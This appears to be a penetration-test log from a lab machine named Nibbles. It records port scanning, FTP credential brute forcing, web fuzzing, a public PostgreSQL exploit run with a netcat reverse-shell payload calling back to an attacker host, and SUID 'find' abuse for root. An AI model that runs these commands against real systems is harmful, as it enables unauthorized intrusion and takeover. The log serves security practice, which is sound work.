🧪 Pentest Log: {{date:2025-08-09}}

🔍 Target Information

• Machine Name: Nibbles
• IP Address: 192.168.223.47
• Operating System: Linux

ip=192.168.223.47

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Anonymous Login

ftp anonymous@$ip

Bruteforce Common Credentials

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -6 ftp://$ip

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

feroxbuster --url http://$ip

wpscan --url http://$ip

dirsearch -u http://$ip -r -o dirsearch.txt

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$ip$/ -H "Host: FUZZ.website.com"

nikto -h http://$ip


curl -s http://$ip/ | html2markdown

Port 5437

PostgreSQL DB 11.3 - 11.9

Google for "PostgreSQL DB 11.3 - 11.9 exploit", found

https://www.exploit-db.com/exploits/50847

💣 Exploitation

📌 Vulnerability Summary

• Service / Port: 5437
• Vulnerability Type: PostgreSQL

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/50847

python3 50847.py -i $ip -p 5437 -c "busybox nc 192.168.45.163 5437 -e /bin/bash"

nc -lvnp 5437

🧬 Privilege Escalation

👤 Current Access

• User: postgres
• Groups: postgres
• Shell Type: reverse shell

🔍 Enumeration

SUID:

find / -type f -perm -4000 2>/dev/null

found /usr/bin/find

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: SUID Abuse
• Target Binary/Service: find
• Reference / Source: GTFOBins

🔧 Exploit Steps

• Smash to root

find . -exec /bin/sh -p \; -quit